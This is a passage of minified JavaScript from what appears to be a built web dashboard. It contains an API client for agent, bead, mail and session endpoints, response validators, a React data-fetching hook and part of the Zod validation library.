${y}`)))})}))}function p(d){const m=new Event("vite:preloadError",{cancelable:!0});if(m.payload=d,window.dispatchEvent(m),!m.defaultPrevented)throw d}return u.then(d=>{for(const m of d||[])m.status==="rejected"&&p(m.reason);return n().catch(p)})};let ni=null;function L2(e){if(!Ym.test(e))throw new Error(`invalid city name: ${e}`);ni=e}function Ua(){return ni}function Mt(e){const n=ni;if(n===null)throw new Error(`${e} called before an active city was resolved`);return n}function Jo(e){if(ni===null)throw new Error(`cityPath("${e}") called before an active city was resolved`);return`/api/city/${encodeURIComponent(ni)}${e}`}async function D2(e,n,o,s){const u={Accept:"application/json"};s!==void 0&&(u["Content-Type"]="application/json"),e!=="GET"&&(u["X-GC-Request"]="dashboard");const p={method:e,headers:u,credentials:"same-origin"};s!==void 0&&(p.body=JSON.stringify(s));const d=await fetch(n,p);if(!d.ok){const h=await d.text(),y=M2(h),w=y?.error??(h.trim()||d.statusText||`HTTP ${d.status}`);throw new Xm(d.status,w,y?.kind)}let m;try{m=await d.json()}catch(h){throw new ev(n,`body must be valid JSON: ${U2(h)}`)}return o(m,n)}function M2(e){if(e.trim().length!==0)try{const n=JSON.parse(e);return F2(n)?n:void 0}catch{return}}function F2(e){if(typeof e!="object"||e===null)return!1;const n=e;return typeof n.error!="string"?!1:n.kind===void 0||typeof n.kind=="string"}async function rn(e,n,o,s){return D2(e,n,o,s)}class Xm extends Error{constructor(n,o,s){super(o),this.status=n,this.kind=s,this.name="ApiClientError"}status;kind}class ev extends Error{constructor(n,o){super(`Invalid API response for ${n}: ${o}`),this.url=n,this.detail=o,this.name="ApiResponseDecodeError"}url;detail}function U2(e){return e instanceof Error?e.message:typeof e=="string"?e:"unknown error"}function oo(e,n){throw new ev(e,n)}function Z2(e){return typeof e=="object"&&e!==null&&!Array.isArray(e)}function Bu(e,n,o){return Z2(e)||oo(n,`${o} must be an object`),e}function Lt(e,n,o,s){typeof e[s]!="string"&&oo(n,`${o}.${s} must be a string`)}function tv(e,n,o,s){const u=e[s];u!==null&&typeof u!="string"&&oo(n,`${o}.${s} must be a string or null`)}function Hn(e,n,o,s){typeof e[s]!="boolean"&&oo(n,`${o}.${s} must be a boolean`)}function ri(e,n,o,s){Array.isArray(e[s])||oo(n,`${o}.${s} must be an array`)}function Yr(e,n,o,s){Bu(e[s],n,`${o}.${s}`)}function q2(e,n,o,s){const u=e[s];u!==null&&(!Array.isArray(u)||u.some(p=>typeof p!="string"))&&oo(n,`${o}.${s} must be an array of strings or null`)}function xn(e,n){return(o,s)=>{const u=Bu(o,s,e);return n?.(u,s),u}}function nv(e,n){return xn(e,(o,s)=>{ri(o,s,e,"items"),n?.(o,s)})}const V2=xn("health",(e,n)=>{Hn(e,n,"health","ok"),Lt(e,n,"health","ts")}),W2=nv("commits",(e,n)=>{Lt(e,n,"commits","view")}),H2=nv("builds",(e,n)=>{tv(e,n,"builds","source"),Hn(e,n,"builds","failed_marker")}),K2=xn("config",(e,n)=>{Lt(e,n,"config","cityName"),Lt(e,n,"config","cityRoot"),Hn(e,n,"config","useFixtures"),Hn(e,n,"config","readOnly"),Lt(e,n,"config","operatorAlias"),Lt(e,n,"config","operatorWireAlias"),Lt(e,n,"config","decisionLabel"),q2(e,n,"config","enabledModules"),tv(e,n,"config","defaultView")}),G2=xn("system health",(e,n)=>{Yr(e,n,"system health","admin"),Yr(e,n,"system health","host")});function Jl(e,n,o,s){Yr(e,n,o,s);const u=e[s],p=`${o}.${s}`;Lt(u,n,p,"status")}const J2=xn("local tool versions",(e,n)=>{Jl(e,n,"local tool versions","dolt"),Jl(e,n,"local tool versions","beads"),Jl(e,n,"local tool versions","gc")}),Q2=xn("dolt trend",(e,n)=>{Hn(e,n,"dolt trend","available"),ri(e,n,"dolt trend","samples")}),Y2=xn("rig store health",(e,n)=>{Hn(e,n,"rig store health","available"),ri(e,n,"rig store health","rigs")});function Ff(e,n){const o=Bu(e,n,"supervisor status.status");Yr(o,n,"supervisor status.status","work")}const X2=xn("supervisor status",(e,n)=>{Hn(e,n,"supervisor status","available"),e.available===!0?(Lt(e,n,"supervisor status","sampledAt"),Ff(e.status,n)):(Lt(e,n,"supervisor status","reason"),e.status!==null&&Ff(e.status,n))}),e3=xn("run diff",(e,n)=>{Lt(e,n,"run diff","kind"),Yr(e,n,"run diff","rootPath"),Yr(e,n,"run diff","comparison"),ri(e,n,"run diff","status"),ri(e,n,"run diff","changedFiles"),Lt(e,n,"run diff","patch"),Hn(e,n,"run diff","truncated")});function t3(e,n="request failed"){if(e instanceof Xm){const o={message:e.message,status:e.status};return e.kind!==void 0&&(o.kind=e.kind),o}return e instanceof Error?{message:e.message}:{message:n}}function Gt(e,n="request failed"){const o=t3(e,n);return o.status===void 0?o.message:`${o.status} ${o.message}`}const oi={health(){return rn("GET","/api/health",V2)},listCommits(e){return rn("GET",`/api/git/commits?view=${encodeURIComponent(e)}`,W2)},listBuilds(){return rn("GET","/api/builds",H2)},config(){return rn("GET",Jo("/config"),K2)},systemHealth(){return rn("GET","/api/health/system",G2)},localToolVersions(){return rn("GET","/api/health/local-tools",J2)},doltTrend(){return rn("GET",Jo("/dolt-noms/trend"),Q2)},rigStoreHealth(){return rn("GET",Jo("/rig-store-health"),Y2)},supervisorStatus(){return rn("GET",Jo("/supervisor-status"),X2)},runDiff(e,n,o){const s=n3(o);return rn("POST",Jo(`/runs/${encodeURIComponent(e)}/diff${s}`),e3,n)}};function n3(e){const n=new URLSearchParams;e?.scopeKind&&e.scopeRef&&(n.set("scope_kind",e.scopeKind),n.set("scope_ref",e.scopeRef));const o=n.toString();return o.length>0?`?${o}`:""}const si=["agents","beads","runs","mail","activity","health"],r3=5,o3=new Map(si.map((e,n)=>[e,n]));function au(e,n={}){const o=i3(),s=[];let u=0;for(const y of e)for(const w of y.getItems()){s.push({item:w,index:u});const I=o[w.domain],z=[...I.items,w];o[w.domain]={domain:w.domain,attention:I.attention+(w.severity==="attention"?1:0),watch:I.watch+(w.severity==="watch"?1:0),unavailable:I.unavailable+(w.severity==="unavailable"?1:0),severity:w.severity==="unavailable"?I.severity:a3(I.severity,w.severity),items:z},u+=1}const p=s.sort((y,w)=>s3(y.item,w.item)||y.index-w.index).map(({item:y})=>y),d=n.topLimit??r3,m=p.slice(0,d),h=l3(p.slice(d));return{items:p,topItems:m,overflowByDomain:h,byDomain:o}}function i3(){const e={};for(const n of si)e[n]={domain:n,attention:0,watch:0,unavailable:0,severity:null,items:[]};return e}function a3(e,n){return e==="attention"||n==="attention"?"attention":"watch"}function s3(e,n){return Uf(e.severity)-Uf(n.severity)||Ia(n.current??!0)-Ia(e.current??!0)||Ia(n.actionable??!1)-Ia(e.actionable??!1)||Zf(n.updatedAt)-Zf(e.updatedAt)||qf(e.domain)-qf(n.domain)}function Uf(e){switch(e){case"attention":return 0;case"watch":return 1;case"unavailable":return 2}}function Ia(e){return e?1:0}function Zf(e){if(e===void 0)return 0;const n=Date.parse(e);return Number.isFinite(n)?n:0}function qf(e){return o3.get(e)??si.length}function l3(e){const n=[];for(const o of si){let s=0,u=0,p=0;for(const m of e)m.domain===o&&(m.severity==="attention"?s+=1:m.severity==="watch"?u+=1:p+=1);const d=s+u+p;d>0&&n.push({domain:o,attention:s,watch:u,unavailable:p,total:d})}return n}const u3=au([]),rv=b.createContext(u3);function c3({contributors:e,topLimit:n,children:o}){const s=b.useMemo(()=>n===void 0?au(e):au(e,{topLimit:n}),[e,n]);return $.jsx(rv.Provider,{value:s,children:o})}function d3(){return b.useContext(rv)}const Pu=new Map;function Ql(e){return Pu.get(e)?.value}function Sa(e){return Pu.get(e)?.fetchedAt}function p3(e,n){Pu.set(e,{value:n,fetchedAt:new Date().toISOString()})}function mn(e,n,o){const s=b.useRef(n);s.current=n;const u=b.useRef(o?.refreshFetcher);u.current=o?.refreshFetcher;const p=b.useRef(o?.sseRefreshFetcher);p.current=o?.sseRefreshFetcher;const d=b.useRef(o?.onError);d.current=o?.onError;const m=b.useRef(e);m.current=e;const h=b.useRef(0),[y,w]=b.useState(()=>Ql(e)),[I,z]=b.useState(()=>Ql(e)===void 0),[B,D]=b.useState(null),[V,A]=b.useState(()=>Sa(e)),H=b.useCallback(async K=>{const Y=h.current+1;h.current=Y;const ue=e;z(!0),D(null);try{const ce=await K(),pe=h.current===Y,Te=m.current===ue;pe&&Te?(p3(ue,ce),w(ce),A(Sa(ue))):Te&&(w(ye=>ye===void 0?ce:ye),A(ye=>ye??Sa(ue)??new Date().toISOString()))}catch(ce){h.current===Y&&(D(ce instanceof Error?ce.message:"failed to load"),d.current?.(ce))}finally{h.current===Y&&z(!1)}},[e]),oe=b.useCallback(()=>H(u.current??s.current),[H]),Q=b.useCallback(()=>H(p.current??u.current??s.current),[H]);return b.useEffect(()=>{const K=Ql(e);return w(K),z(K===void 0),A(Sa(e)),H(s.current),()=>{h.current+=1}},[e,H]),{data:y,loading:I,error:B,fetchedAt:V,refresh:oe,cheapRefresh:Q}}var f3=async(e,n)=>{let o=typeof n=="function"?await n(e):n;if(o)return e.scheme==="bearer"?`Bearer ${o}`:e.scheme==="basic"?`Basic ${btoa(o)}`:o},m3={bodySerializer:e=>JSON.stringify(e,(n,o)=>typeof o=="bigint"?o.toString():o)},v3=e=>{switch(e){case"label":return".";case"matrix":return";";case"simple":return",";default:return"&"}},h3=e=>{switch(e){case"form":return",";case"pipeDelimited":return"|";case"spaceDelimited":return"%20";default:return","}},g3=e=>{switch(e){case"label":return".";case"matrix":return";";case"simple":return",";default:return"&"}},ov=({allowReserved:e,explode:n,name:o,style:s,value:u})=>{if(!n){let m=(e?u:u.map(h=>encodeURIComponent(h))).join(h3(s));switch(s){case"label":return`.${m}`;case"matrix":return`;${o}=${m}`;case"simple":return m;default:return`${o}=${m}`}}let p=v3(s),d=u.map(m=>s==="label"||s==="simple"?e?m:encodeURIComponent(m):Za({allowReserved:e,name:o,value:m})).join(p);return s==="label"||s==="matrix"?p+d:d},Za=({allowReserved:e,name:n,value:o})=>{if(o==null)return"";if(typeof o=="object")throw new Error("Deeply-nested arrays/objects aren’t supported. Provide your own `querySerializer()` to handle these.");return`${n}=${e?o:encodeURIComponent(o)}`},iv=({allowReserved:e,explode:n,name:o,style:s,value:u,valueOnly:p})=>{if(u instanceof Date)return p?u.toISOString():`${o}=${u.toISOString()}`;if(s!=="deepObject"&&!n){let h=[];Object.entries(u).forEach(([w,I])=>{h=[...h,w,e?I:encodeURIComponent(I)]});let y=h.join(",");switch(s){case"form":return`${o}=${y}`;case"label":return`.${y}`;case"matrix":return`;${o}=${y}`;default:return y}}let d=g3(s),m=Object.entries(u).map(([h,y])=>Za({allowReserved:e,name:s==="deepObject"?`${o}[${h}]`:h,value:y})).join(d);return s==="label"||s==="matrix"?d+m:m},y3=/\{[^{}]+\}/g,_3=({path:e,url:n})=>{let o=n,s=n.match(y3);if(s)for(let u of s){let p=!1,d=u.substring(1,u.length-1),m="simple";d.endsWith("*")&&(p=!0,d=d.substring(0,d.length-1)),d.startsWith(".")?(d=d.substring(1),m="label"):d.startsWith(";")&&(d=d.substring(1),m="matrix");let h=e[d];if(h==null)continue;if(Array.isArray(h)){o=o.replace(u,ov({explode:p,name:d,style:m,value:h}));continue}if(typeof h=="object"){o=o.replace(u,iv({explode:p,name:d,style:m,value:h,valueOnly:!0}));continue}if(m==="matrix"){o=o.replace(u,`;${Za({name:d,value:h})}`);continue}let y=encodeURIComponent(m==="label"?`.${h}`:h);o=o.replace(u,y)}return o},av=({allowReserved:e,array:n,object:o}={})=>s=>{let u=[];if(s&&typeof s=="object")for(let p in s){let d=s[p];if(d!=null)if(Array.isArray(d)){let m=ov({allowReserved:e,explode:!0,name:p,style:"form",value:d,...n});m&&u.push(m)}else if(typeof d=="object"){let m=iv({allowReserved:e,explode:!0,name:p,style:"deepObject",value:d,...o});m&&u.push(m)}else{let m=Za({allowReserved:e,name:p,value:d});m&&u.push(m)}}return u.join("&")},w3=e=>{if(!e)return"stream";let n=e.split(";")[0]?.trim();if(n){if(n.startsWith("application/json")||n.endsWith("+json"))return"json";if(n==="multipart/form-data")return"formData";if(["application/","audio/","image/","video/"].some(o=>n.startsWith(o)))return"blob";if(n.startsWith("text/"))return"text"}},E3=async({security:e,...n})=>{for(let o of e){let s=await f3(o,n.auth);if(!s)continue;let u=o.name??"Authorization";switch(o.in){case"query":n.query||(n.query={}),n.query[u]=s;break;case"cookie":n.headers.append("Cookie",`${u}=${s}`);break;default:n.headers.set(u,s);break}return}},Vf=e=>x3({baseUrl:e.baseUrl,path:e.path,query:e.query,querySerializer:typeof e.querySerializer=="function"?e.querySerializer:av(e.querySerializer),url:e.url}),x3=({baseUrl:e,path:n,query:o,querySerializer:s,url:u})=>{let p=u.startsWith("/")?u:`/${u}`,d=(e??"")+p;n&&(d=_3({path:n,url:d}));let m=o?s(o):"";return m.startsWith("?")&&(m=m.substring(1)),m&&(d+=`?${m}`),d},Wf=(e,n)=>{let o={...e,...n};return o.baseUrl?.endsWith("/")&&(o.baseUrl=o.baseUrl.substring(0,o.baseUrl.length-1)),o.headers=sv(e.headers,n.headers),o},sv=(...e)=>{let n=new Headers;for(let o of e){if(!o||typeof o!="object")continue;let s=o instanceof Headers?o.entries():Object.entries(o);for(let[u,p]of s)if(p===null)n.delete(u);else if(Array.isArray(p))for(let d of p)n.append(u,d);else p!==void 0&&n.set(u,typeof p=="object"?JSON.stringify(p):p)}return n},Yl=class{_fns;constructor(){this._fns=[]}clear(){this._fns=[]}getInterceptorIndex(e){return typeof e=="number"?this._fns[e]?e:-1:this._fns.indexOf(e)}exists(e){let n=this.getInterceptorIndex(e);return!!this._fns[n]}eject(e){let n=this.getInterceptorIndex(e);this._fns[n]&&(this._fns[n]=null)}update(e,n){let o=this.getInterceptorIndex(e);return this._fns[o]?(this._fns[o]=n,e):!1}use(e){return this._fns=[...this._fns,e],this._fns.length-1}},I3=()=>({error:new Yl,request:new Yl,response:new Yl}),S3=av({allowReserved:!1,array:{explode:!0,style:"form"},object:{explode:!0,style:"deepObject"}}),k3={"Content-Type":"application/json"},lv=(e={})=>({...m3,headers:k3,parseAs:"auto",querySerializer:S3,...e}),uv=(e={})=>{let n=Wf(lv(),e),o=()=>({...n}),s=d=>(n=Wf(n,d),o()),u=I3(),p=async d=>{let m={...n,...d,fetch:d.fetch??n.fetch??globalThis.fetch,headers:sv(n.headers,d.headers)};m.security&&await E3({...m,security:m.security}),m.body&&m.bodySerializer&&(m.body=m.bodySerializer(m.body)),(m.body===void 0||m.body==="")&&m.headers.delete("Content-Type");let h=Vf(m),y={redirect:"follow",...m},w=new Request(h,y);for(let A of u.request._fns)A&&(w=await A(w,m));let I=m.fetch,z=await I(w);for(let A of u.response._fns)A&&(z=await A(z,w,m));let B={request:w,response:z};if(z.ok){if(z.status===204||z.headers.get("Content-Length")==="0")return m.responseStyle==="data"?{}:{data:{},...B};let A=(m.parseAs==="auto"?w3(z.headers.get("Content-Type")):m.parseAs)??"json";if(A==="stream")return m.responseStyle==="data"?z.body:{data:z.body,...B};let H=await z[A]();return A==="json"&&(m.responseValidator&&await m.responseValidator(H),m.responseTransformer&&(H=await m.responseTransformer(H))),m.responseStyle==="data"?H:{data:H,...B}}let D=await z.text();try{D=JSON.parse(D)}catch{}let V=D;for(let A of u.error._fns)A&&(V=await A(D,z,w,m));if(V=V||{},m.throwOnError)throw V;return m.responseStyle==="data"?void 0:{error:V,...B}};return{buildUrl:Vf,connect:d=>p({...d,method:"CONNECT"}),delete:d=>p({...d,method:"DELETE"}),get:d=>p({...d,method:"GET"}),getConfig:o,head:d=>p({...d,method:"HEAD"}),interceptors:u,options:d=>p({...d,method:"OPTIONS"}),patch:d=>p({...d,method:"PATCH"}),post:d=>p({...d,method:"POST"}),put:d=>p({...d,method:"PUT"}),request:p,setConfig:s,trace:d=>p({...d,method:"TRACE"})}};const Se=uv(lv()),b3=e=>(e?.client??Se).get({url:"/health",...e}),z3=e=>(e?.client??Se).get({url:"/v0/cities",...e}),T3=e=>(e.client??Se).get({url:"/v0/city/{cityName}/agent/{base}/prime",...e}),C3=e=>(e.client??Se).post({url:"/v0/city/{cityName}/agent/{base}/{action}",...e}),R3=e=>(e.client??Se).get({url:"/v0/city/{cityName}/agent/{dir}/{base}/prime",...e}),B3=e=>(e.client??Se).post({url:"/v0/city/{cityName}/agent/{dir}/{base}/{action}",...e}),P3=e=>(e.client??Se).get({url:"/v0/city/{cityName}/agents",...e}),N3=e=>(e.client??Se).get({url:"/v0/city/{cityName}/bead/{id}",...e}),A3=e=>(e.client??Se).patch({url:"/v0/city/{cityName}/bead/{id}",...e,headers:{"Content-Type":"application/json",...e.headers}}),O3=e=>(e.client??Se).post({url:"/v0/city/{cityName}/bead/{id}/close",...e,headers:{"Content-Type":"application/json",...e.headers}}),j3=e=>(e.client??Se).get({url:"/v0/city/{cityName}/beads",...e}),$3=e=>(e.client??Se).post({url:"/v0/city/{cityName}/beads",...e,headers:{"Content-Type":"application/json",...e.headers}}),L3=e=>(e.client??Se).get({url:"/v0/city/{cityName}/events",...e}),D3=e=>(e.client??Se).get({url:"/v0/city/{cityName}/formulas/feed",...e}),M3=e=>(e.client??Se).get({url:"/v0/city/{cityName}/formulas/{name}",...e}),F3=e=>(e.client??Se).get({url:"/v0/city/{cityName}/health",...e}),U3=e=>(e.client??Se).get({url:"/v0/city/{cityName}/mail",...e}),Z3=e=>(e.client??Se).post({url:"/v0/city/{cityName}/mail",...e,headers:{"Content-Type":"application/json",...e.headers}}),q3=e=>(e.client??Se).get({url:"/v0/city/{cityName}/mail/thread/{id}",...e}),V3=e=>(e.client??Se).post({url:"/v0/city/{cityName}/mail/{id}/archive",...e}),W3=e=>(e.client??Se).post({url:"/v0/city/{cityName}/mail/{id}/mark-unread",...e}),H3=e=>(e.client??Se).post({url:"/v0/city/{cityName}/mail/{id}/read",...e}),K3=e=>(e.client??Se).post({url:"/v0/city/{cityName}/mail/{id}/reply",...e,headers:{"Content-Type":"application/json",...e.headers}}),G3=e=>(e.client??Se).get({url:"/v0/city/{cityName}/rigs",...e}),J3=e=>(e.client??Se).get({url:"/v0/city/{cityName}/session/{id}/pending",...e}),Q3=e=>(e.client??Se).post({url:"/v0/city/{cityName}/session/{id}/respond",...e,headers:{"Content-Type":"application/json",...e.headers}}),Y3=e=>(e.client??Se).get({url:"/v0/city/{cityName}/session/{id}/transcript",...e}),X3=e=>(e.client??Se).get({url:"/v0/city/{cityName}/sessions",...e}),e_=e=>(e.client??Se).post({url:"/v0/city/{cityName}/sling",...e,headers:{"Content-Type":"application/json",...e.headers}}),t_=e=>(e.client??Se).get({url:"/v0/city/{cityName}/status",...e}),n_=e=>(e.client??Se).get({url:"/v0/city/{cityName}/workflow/{workflow_id}",...e});var Hf;function j(e,n,o){function s(m,h){if(m._zod||Object.defineProperty(m,"_zod",{value:{def:h,constr:d,traits:new Set},enumerable:!1}),m._zod.traits.has(e))return;m._zod.traits.add(e),n(m,h);const y=d.prototype,w=Object.keys(y);for(let I=0;I<w.length;I++){const z=w[I];z in m||(m[z]=y[z].bind(m))}}const u=o?.Parent??Object;class p extends u{}Object.defineProperty(p,"name",{value:e});function d(m){var h;const y=o?.Parent?new p:this;s(y,m),(h=y._zod).deferred??(h.deferred=[]);for(const w of y._zod.deferred)w();return y}return Object.defineProperty(d,"init",{value:s}),Object.defineProperty(d,Symbol.hasInstance,{value:m=>o?.Parent&&m instanceof o.Parent?!0:m?._zod?.traits?.has(e)}),Object.defineProperty(d,"name",{value:e}),d}class Wr extends Error{constructor(){super("Encountered Promise during synchronous parse. Use .parseAsync() instead.")}}class cv extends Error{constructor(n){super(`Encountered unidirectional transform during encode: ${n}`),this.name="ZodEncodeError"}}(Hf=globalThis).__zod_globalConfig??(Hf.__zod_globalConfig={});const Nu=globalThis.__zod_globalConfig;function hn(e){return Nu}function dv(e){const n=Object.values(e).filter(s=>typeof s=="number");return Object.entries(e).filter(([s,u])=>n.indexOf(+s)===-1).map(([s,u])=>u)}function su(e,n){return typeof n=="bigint"?n.toString():n}function qa(e){return{get value(){{const n=e();return Object.defineProperty(this,"value",{value:n}),n}}}}function Au(e){return e==null}function Ou(e){const n=e.startsWith("^")?1:0,o=e.endsWith("$")?e.length-1:e.length;return e.slice(n,o)}function r_(e,n){const o=e/n,s=Math.round(o),u=Number.EPSILON*Math.max(Math.abs(o),1);return Math.abs(o-s)<u?0:o-s}const Kf=Symbol("evaluating");function ze(e,n,o){let s;Object.defineProperty(e,n,{get(){if(s!==Kf)return s===void 0&&(s=Kf,s=o()),s},set(u){Object.defineProperty(e,n,{value:u})},configurable:!0})}function vr(e,n,o){Object.defineProperty(e,n,{value:o,writable:!0,enumerable:!0,configurable:!0})}function Gn(...e){const n={};for(const o of e){const s=Object.getOwnPropertyDescriptors(o);Object.assign(n,s)}return Object.defineProperties({},n)}function Gf(e){return JSON.stringify(e)}function o_(e){return e.toLowerCase().trim().replace(/[^\w\s-]/g,"").replace(/[\s_-]+/g,"-").replace(/^-+|-+$/g,"")}const pv="captureStackTrace"in Error?Error.captureStackTrace:(...e)=>{};function ii(e){return typeof e=="object"&&e!==null&&!Array.isArray(e)}const i_=qa(()=>{if(Nu.jitless||typeof navigator<"u"&&navigator?.userAgent?.includes("Cloudflare"))return!1;try{const e=Function;return new e(""),!0}catch{return!1}});function Xr(e){if(ii(e)===!1)return!1;const n=e.constructor;if(n===void 0||typeof n!="function")return!0;const o=n.prototype;return!(ii(o)===!1||Object.prototype.hasOwnProperty.call(o,"isPrototypeOf")===!1)}function fv(e){return Xr(e)?{...e}:Array.isArray(e)?[...e]:e instanceof Map?new Map(e):e instanceof Set?new Set(e):e}const a_=new Set(["string","number","symbol"]);function eo(e){return e.replace(/[.*+?^${}()|[\]\\]/g,"\\$&")}function Jn(e,n,o){const s=new e._zod.constr(n??e._zod.def);return(!n||o?.parent)&&(s._zod.parent=e),s}function ie(e){const n=e;if(!n)return{};if(typeof n=="string")return{error:()=>n};if(n?.message!==void 0){if(n?.error!==void 0)throw new Error("Cannot specify both `message` and `error` params");n.error=n.message}return delete n.message,typeof n.error=="string"?{...n,error:()=>n.error}:n}function s_(e){return Object.keys(e).filter(n=>e[n]._zod.optin==="optional"&&e[n]._zod.optout==="optional")}const l_={safeint:[Number.MIN_SAFE_INTEGER,Number.MAX_SAFE_INTEGER],int32:[-2147483648,2147483647],uint32:[0,4294967295],float32:[-34028234663852886e22,34028234663852886e22],float64:[-Number.MAX_VALUE,Number.MAX_VALUE]};function u_(e,n){const o=e._zod.def,s=o.checks;if(s&&s.length>0)throw new Error(".pick() cannot be used on object schemas containing refinements");const p=Gn(e._zod.def,{get shape(){const d={};for(const m in n){if(!(m in o.shape))throw new Error(`Unrecognized key: "${m}"`);n[m]&&(d[m]=o.shape[m])}return vr(this,"shape",d),d},checks:[]});return Jn(e,p)}function c_(e,n){const o=e._zod.def,s=o.checks;if(s&&s.length>0)throw new Error(".omit() cannot be used on object schemas containing refinements");const p=Gn(e._zod.def,{get shape(){const d={...e._zod.def.shape};for(const m in n){if(!(m in o.shape))throw new Error(`Unrecognized key: "${m}"`);n[m]&&delete d[m]}return vr(this,"shape",d),d},checks:[]});return Jn(e,p)}function d_(e,n){if(!Xr(n))throw new Error("Invalid input to extend: expected a plain object");const o=e._zod.def.checks;if(o&&o.length>0){const p=e._zod.def.shape;for(const d in n)if(Object.getOwnPropertyDescriptor(p,d)!==void 0)throw new Error("Cannot overwrite keys on object schemas containing refinements. Use `.safeExtend()` instead.")}const u=Gn(e._zod.def,{get shape(){const p={...e._zod.def.shape,...n};return vr(this,"shape",p),p}});return Jn(e,u)}function p_(e,n){if(!Xr(n))throw new Error("Invalid input to safeExtend: expected a plain object");const o=Gn(e._zod.def,{get shape(){const s={...e._zod.def.shape,...n};return vr(this,"shape",s),s}});return Jn(e,o)}function f_(e,n){if(e._zod.def.checks?.length)throw new Error(".merge() cannot be used on object schemas containing refinements. Use .safeExtend() instead.");const o=Gn(e._zod.def,{get shape(){const s={...e._zod.def.shape,...n._zod.def.shape};return vr(this,"shape",s),s},get catchall(){return n._zod.def.catchall},checks:n._zod.def.checks??[]});return Jn(e,o)}function m_(e,n,o){const u=n._zod.def.checks;if(u&&u.length>0)throw new Error(".partial() cannot be used on object schemas containing refinements");const d=Gn(n._zod.def,{get shape(){const m=n._zod.def.shape,h={...m};if(o)for(const y in o){if(!(y in m))throw new Error(`Unrecognized key: "${y}"`);o[y]&&(h[y]=e?new e({type:"optional",innerType:m[y]}):m[y])}else for(const y in m)h[y]=e?new e({type:"optional",innerType:m[y]}):m[y];return vr(this,"shape",h),h},checks:[]});return Jn(n,d)}function v_(e,n,o){const s=Gn(n._zod.def,{get shape(){const u=n._zod.def.shape,p={...u};if(o)for(const d in o){if(!(d in p))throw new Error(`Unrecognized key: "${d}"`);o[d]&&(p[d]=new e({type:"nonoptional",innerType:u[d]}))}else for(const d in u)p[d]=new e({type:"nonoptional",innerType:u[d]});return vr(this,"shape",p),p}});return Jn(n,s)}function Zr(e,n=0){if(e.aborted===!0)return!0;for(let o=n;o<e.issues.length;o++)if(e.issues[o]?.continue!==!0)return!0;return!1}function h_(e,n=0){if(e.aborted===!0)return!0;for(let o=n;o<e.issues.length;o++)if(e.issues[o]?.continue===!1)return!0;return!1}function qr(e,n){return n.map(o=>{var s;return(s=o).path??(s.path=[]),o.path.unshift(e),o})}function ka(e){return typeof e=="string"?e:e?.message}function gn(e,n,o){const s=e.message?e.message:ka(e.inst?._zod.def?.error?.(e))??ka(n?.error?.(e))??ka(o.customError?.(e))??ka(o.localeError?.(e))??"Invalid input",{inst:u,continue:p,input:d,...m}=e;return m.path??(m.path=[]),m.message=s,n?.reportInput&&(m.input=d),m}function ju(e){return Array.isArray(e)?"array":typeof e=="string"?"string":"unknown"}function ai(...e){const[n,o,s]=e;return typeof n=="string"?{message:n,code:"custom",input:o,inst:s}:{...n}}const mv=(e,n)=>{e.name="$ZodError",Object.defineProperty(e,"_zod",{value:e._zod,enumerable:!1}),Object.defineProperty(e,"issues",{value:n,enumerable:!1}),e.message=JSON.stringify(n,su,2),Object.defineProperty(e,"toString",{value:()=>e.message,enumerable:!1})},vv=j("$ZodError",mv),hv=j("$ZodError",mv,{Parent:Error});function g_(e,n=o=>o.message){const o={},s=[];for(const u of e.issues)u.path.length>0?(o[u.path[0]]=o[u.path[0]]||[],o[u.path[0]].push(n(u))):s.push(n(u));return{formErrors:s,fieldErrors:o}}function y_(e,n=o=>o.message){const o={_errors:[]},s=(u,p=[])=>{for(const d of u.issues)if(d.code==="invalid_union"&&d.errors.length)d.errors.map(m=>s({issues:m},[...p,...d.path]));else if(d.code==="invalid_key")s({issues:d.issues},[...p,...d.path]);else if(d.code==="invalid_element")s({issues:d.issues},[...p,...d.path]);else{const m=[...p,...d.path];if(m.length===0)o._errors.push(n(d));else{let h=o,y=0;for(;y<m.length;){const w=m[y];y===m.length-1?(h[w]=h[w]||{_errors:[]},h[w]._errors.push(n(d))):h[w]=h[w]||{_errors:[]},h=h[w],y++}}}};return s(e),o}const $u=e=>(n,o,s,u)=>{const p=s?{...s,async:!1}:{async:!1},d=n._zod.run({value:o,issues:[]},p);if(d instanceof Promise)throw new Wr;if(d.issues.length){const m=new(u?.Err??e)(d.issues.map(h=>gn(h,p,hn())));throw pv(m,u?.callee),m}return d.value},Lu=e=>async(n,o,s,u)=>{const p=s?{...s,async:!0}:{async:!0};let d=n._zod.run({value:o,issues:[]},p);if(d instanceof Promise&&(d=await d),d.issues.length){const m=new(u?.Err??e)(d.issues.map(h=>gn(h,p,hn())));throw pv(m,u?.callee),m}return d.value},Va=e=>(n,o,s)=>{const u=s?{...s,async:!1}:{async:!1},p=n._zod.run({value:o,issues:[]},u);if(p instanceof Promise)throw new Wr;return p.issues.length?{success:!1,error:new(e??vv)(p.issues.map(d=>gn(d,u,hn())))}:{success:!0,data:p.value}},__=Va(hv),Wa=e=>async(n,o,s)=>{const u=s?{...s,async:!0}:{async:!0};let p=n._zod.run({value:o,issues:[]},u);return p instanceof Promise&&(p=await p),p.issues.length?{success:!1,error:new e(p.issues.map(d=>gn(d,u,hn())))}:{success:!0,data:p.value}},w_=Wa(hv),E_=e=>(n,o,s)=>{const u=s?{...s,direction:"backward"}:{direction:"backward"};return $u(e)(n,o,u)},x_=e=>(n,o,s)=>$u(e)(n,o,s),I_=e=>async(n,o,s)=>{const u=s?{...s,direction:"backward"}:{direction:"backward"};return Lu(e)(n,o,u)},S_=e=>async(n,o,s)=>Lu(e)(n,o,s),k_=e=>(n,o,s)=>{const u=s?{...s,direction:"backward"}:{direction:"backward"};return Va(e)(n,o,u)},b_=e=>(n,o,s)=>Va(e)(n,o,s),z_=e=>async(n,o,s)=>{const u=s?{...s,direction:"backward"}:{direction:"backward"};return Wa(e)(n,o,u)},T_=e=>async(n,o,s)=>Wa(e)(n,o,s),C_=/^[cC][0-9a-z]{6,}$/,R_=/^[0-9a-z]+$/,B_=/^[0-9A-HJKMNP-TV-Za-hjkmnp-tv-z]{26}$/,P_=/^[0-9a-vA-V]{20}$/,N_=/^[A-Za-z0-9]{27}$/,A_=/^[a-zA-Z0-9_-]{21}$/,O_=/^P(?:(\d+W)|(?!.*W)(?=\d|T\d)(\d+Y)?(\d+M)?(\d+D)?(T(?=\d)(\d+H)?(\d+M)?(\d+([.,]\d+)?S)?)?)$/,j_=/^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12})$/,Jf=e=>e?new 